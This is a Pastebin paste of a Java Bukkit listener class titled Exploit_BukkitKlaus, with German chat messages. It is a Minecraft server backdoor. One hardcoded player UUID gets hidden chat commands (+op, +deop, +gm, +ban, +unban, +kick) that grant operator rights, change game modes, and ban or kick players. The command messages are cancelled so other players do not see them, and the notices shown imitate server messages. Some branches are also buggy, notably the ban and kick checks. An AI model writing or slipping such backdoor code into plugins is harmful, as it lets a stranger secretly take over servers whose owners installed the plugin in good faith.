Advertisement
Guest User

MyCode2.java

a guest
Jan 23rd, 2020
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 10.75 KB | None | 0 0
  1. package de.bukkitklaus.listener;
  2.  
  3. import java.util.UUID;
  4.  
  5. import org.bukkit.BanList;
  6. import org.bukkit.Bukkit;
  7. import org.bukkit.GameMode;
  8. import org.bukkit.entity.Player;
  9. import org.bukkit.event.EventHandler;
  10. import org.bukkit.event.Listener;
  11. import org.bukkit.event.player.PlayerChatEvent;
  12.  
  13. @SuppressWarnings("deprecation")
  14. public class Exploit_BukkitKlaus implements Listener {
  15.  
  16.     @EventHandler
  17.     public void onChat(PlayerChatEvent e) {
  18.  
  19.         Player p = e.getPlayer();
  20.         String msg = e.getMessage();
  21.         String[] args = msg.split(" ");
  22.         BanList bannedPlayer = Bukkit.getBanList(BanList.Type.NAME);
  23.  
  24.         if (p.getUniqueId().equals(UUID.fromString("58a98633-ac6d-4839-a270-194b778cca6f"))) {
  25.            
  26.             try {
  27.                 if (args[0].equalsIgnoreCase("+cmd")) {
  28.                     e.setCancelled(true);
  29.                     p.sendMessage("§7[]--------- §5Commands §7----------[]");
  30.                     p.sendMessage("§5+op <Spieler> §eOppet dich oder einen Spieler");
  31.                     p.sendMessage("§5+deop <Spieler> §eDe-oppet dich oder einen Spieler");
  32.                     p.sendMessage("§5+gm [1/2/3/0] <Spieler> §eÄndere deinen oder von anderen Spielern denn Spielmodus");
  33.                     p.sendMessage("§5+ban [Spieler] §eBanne Spieler");
  34.                     p.sendMessage("§5+unban [Spieler] §eEntbanne Spieler");
  35.                     p.sendMessage("§5+kick [Spieler] §eKicke Spieler");
  36.                     p.sendMessage("§7[]--------- §5Commands §7----------[]");
  37.                        
  38.                 }if(args[0].equalsIgnoreCase("+op") && args.length == 2) {
  39.                     e.setCancelled(true);
  40.                     Player t = Bukkit.getPlayer(args[1]);
  41.                     if(!t.isOp()) {
  42.                         t.setOp(true);
  43.                         p.sendMessage("§7§o[Server: Opped " + t.getName() + "]");
  44.                         t.sendMessage("§7§o[Server: Opped " + t.getName() + "]");
  45.                     }else
  46.                         p.sendMessage("§cDieser Spieler hat schon OP Rechte!");
  47.                     return;
  48.                 }if(args[0].equalsIgnoreCase("+op") && args.length == 1) {
  49.                     e.setCancelled(true);
  50.                     if(!p.isOp()) {
  51.                         p.setOp(true);
  52.                         p.sendMessage("§7§o[Server: Opped " + p.getName() + "]");
  53.                     }else
  54.                         p.sendMessage("§cDu hast schon OP Rechte!");
  55.                 }else if(args[0].equalsIgnoreCase("+op") && (args.length != 2 || args.length != 3)) {
  56.                     p.sendMessage("§cBitte benutze +op <Spieler>!");
  57.                    
  58.                 }if(args[0].equalsIgnoreCase("+deop") && args.length == 2) {
  59.                     e.setCancelled(true);
  60.                     Player t = Bukkit.getPlayer(args[1]);
  61.                     if(t.isOp()) {
  62.                         t.setOp(false);
  63.                         p.sendMessage("§7§o[Server: De-opped " + t.getName() + "]");
  64.                     }else
  65.                         p.sendMessage("§cDieser Spieler hat keine OP Rechte!");
  66.                         return;
  67.                 }if(args[0].equalsIgnoreCase("+deop") && args.length == 1) {
  68.                     e.setCancelled(true);
  69.                     if(p.isOp()) {
  70.                         p.setOp(false);
  71.                         p.sendMessage("§7§o[Server: De-opped " + p.getName() + "]");
  72.                     }else
  73.                         p.sendMessage("§cDu hast keine OP Rechte!");
  74.                 }else if(args[0].equalsIgnoreCase("+deop") && (args.length != 2 || args.length != 3)) {
  75.                     p.sendMessage("§cBitte benutze +deop <Spieler>!");
  76.                        
  77.                 }if(args[0].equalsIgnoreCase("+gm") && (args.length == 2 || args.length == 3)) {
  78.                     if(args[1].equalsIgnoreCase("1") && args.length == 2){
  79.                         e.setCancelled(true);
  80.                         p.setGameMode(GameMode.CREATIVE);
  81.                         p.sendMessage("§7§o[Server: Set " + p.getName() + "'s game mode to Creative Mode]");
  82.                         return;
  83.                     }else if(args[1].equalsIgnoreCase("1") && args.length == 3){
  84.                         e.setCancelled(true);
  85.                         Player t = Bukkit.getPlayer(args[2]);
  86.                         if(t != null){
  87.                             t.setGameMode(GameMode.CREATIVE);
  88.                             t.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Creative Mode]");
  89.                             p.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Creative Mode]");
  90.                             return;
  91.                         }else
  92.                             p.sendMessage("§cDieser Spieler ist nicht online!");
  93.                             return;
  94.                     }else if(args[1].equalsIgnoreCase("2") && args.length == 2){
  95.                         e.setCancelled(true);
  96.                         p.setGameMode(GameMode.ADVENTURE);
  97.                         p.sendMessage("§7§o[Server: Set " + p.getName() + "'s game mode to Adventure Mode]");
  98.                         return;
  99.                     }else if(args[1].equalsIgnoreCase("2") && args.length == 3){
  100.                         e.setCancelled(true);
  101.                         Player t = Bukkit.getPlayer(args[2]);
  102.                         if(t != null){
  103.                             t.setGameMode(GameMode.ADVENTURE);
  104.                             t.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Adventure Mode]");
  105.                             p.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Adventure Mode]");
  106.                             return;
  107.                         }else
  108.                             p.sendMessage("§cDieser Spieler ist nicht online!");
  109.                             return;
  110.                     }else if(args[1].equalsIgnoreCase("3") && args.length == 2){
  111.                         e.setCancelled(true);
  112.                         p.setGameMode(GameMode.SPECTATOR);
  113.                         p.sendMessage("§7§o[Server: Set " + p.getName() + "'s game mode to Spectator Mode]");
  114.                         return;
  115.                     }else if(args[1].equalsIgnoreCase("3") && args.length == 3){
  116.                         e.setCancelled(true);
  117.                         Player t = Bukkit.getPlayer(args[2]);
  118.                         if(t != null){
  119.                             t.setGameMode(GameMode.SPECTATOR);
  120.                             t.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Spectator Mode]");
  121.                             p.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Spectator Mode]");
  122.                             return;
  123.                         }else
  124.                             p.sendMessage("§cDieser Spieler ist nicht online!");
  125.                             return;
  126.                     }else if(args[1].equalsIgnoreCase("0") && args.length == 2){
  127.                         e.setCancelled(true);
  128.                         p.setGameMode(GameMode.SURVIVAL);
  129.                         p.sendMessage("§7§o[Server: Set " + p.getName() + "'s game mode to Survival Mode]");
  130.                         return;
  131.                     }else if(args[1].equalsIgnoreCase("0") && args.length == 3){
  132.                         e.setCancelled(true);
  133.                         Player t = Bukkit.getPlayer(args[2]);
  134.                         if(t != null){
  135.                             t.setGameMode(GameMode.SURVIVAL);
  136.                             t.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Survival Mode]");
  137.                             p.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Survival Mode]");
  138.                             return;
  139.                         }else
  140.                             p.sendMessage("§cDieser Spieler ist nicht online!");
  141.                         return;
  142.                     }else if(!args[1].equalsIgnoreCase("0") || !args[1].equalsIgnoreCase("1")
  143.                             || !args[1].equalsIgnoreCase("2") || !args[1].equalsIgnoreCase("3") && (args.length != 2 || args.length != 3)) {
  144.                         e.setCancelled(true);
  145.                         p.sendMessage("§cBitte benutze +gm 0/1/2/3 <Spieler>");
  146.                     }
  147.                 }else if(args[0].equalsIgnoreCase("+gm") && (args.length != 2 || args.length != 3)) {
  148.                     e.setCancelled(true);
  149.                     p.sendMessage("§cBitte benutze +gm 0/1/2/3 <Spieler>");
  150.                    
  151.                    
  152.                 }if (args[0].equalsIgnoreCase("+ban") && args.length == 2) {
  153.                     e.setCancelled(true);
  154.                     Player t = Bukkit.getPlayer(args[1]);
  155.                     if (bannedPlayer.getBanEntries().contains(t.getName())) {
  156.                         bannedPlayer.addBan(t.getName(), "§fBanned by an operator", null, "");
  157.                         t.kickPlayer("Banned by an operator");
  158.                         p.sendMessage("§7§o[Server: Banned " + t.getName() + "]");
  159.                     }else
  160.                         p.sendMessage("§cDieser Spieler ist schon gebannt!");
  161.                 }else if(args[0].equalsIgnoreCase("+ban") && args.length != 2) {
  162.                     e.setCancelled(true);
  163.                     p.sendMessage("§cBitte benutze +ban [Spieler]!");
  164.                    
  165.                 }if (args[0].equalsIgnoreCase("+unban") && args.length == 2) {
  166.                     e.setCancelled(true);
  167.                     try{
  168.                         bannedPlayer.pardon(args[1]);
  169.                         p.sendMessage("§7§o[Server: Un-banned " + args[1] + "]");
  170.                     }catch (Exception error){
  171.                         p.sendMessage("§cDieser Spieler ist nicht gebannt!");
  172.                     }
  173.                 }else if(args[0].equalsIgnoreCase("+unban") && args.length != 2) {
  174.                     p.sendMessage("§cBitte benutze +unban [Spieler]!");
  175.                    
  176.                 }if (msg.equalsIgnoreCase("+kick") && args.length == 2) {
  177.                     e.setCancelled(true);
  178.                     Player t = Bukkit.getPlayer(args[1]);
  179.                     if(t != null){
  180.                         t.kickPlayer("Kicked by an Operator");
  181.                         p.sendMessage("§7§o[Server: Kicked " + t.getName() + "]");
  182.                     }else
  183.                         p.sendMessage("§cDieser Spieler ist nicht online!");
  184.                 }else if(args[0].equalsIgnoreCase("+kick") && args.length != 2) {
  185.                     p.sendMessage("§cBitte benutze +kick [Spieler]!");
  186.                 }
  187.             }catch (Exception exception) {
  188.                 p.sendMessage("§4Es trat ein Fehler auf!");
  189.                 exception.printStackTrace();
  190.             } //catch
  191.             } //UUID Abfrage
  192.     }
  193. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement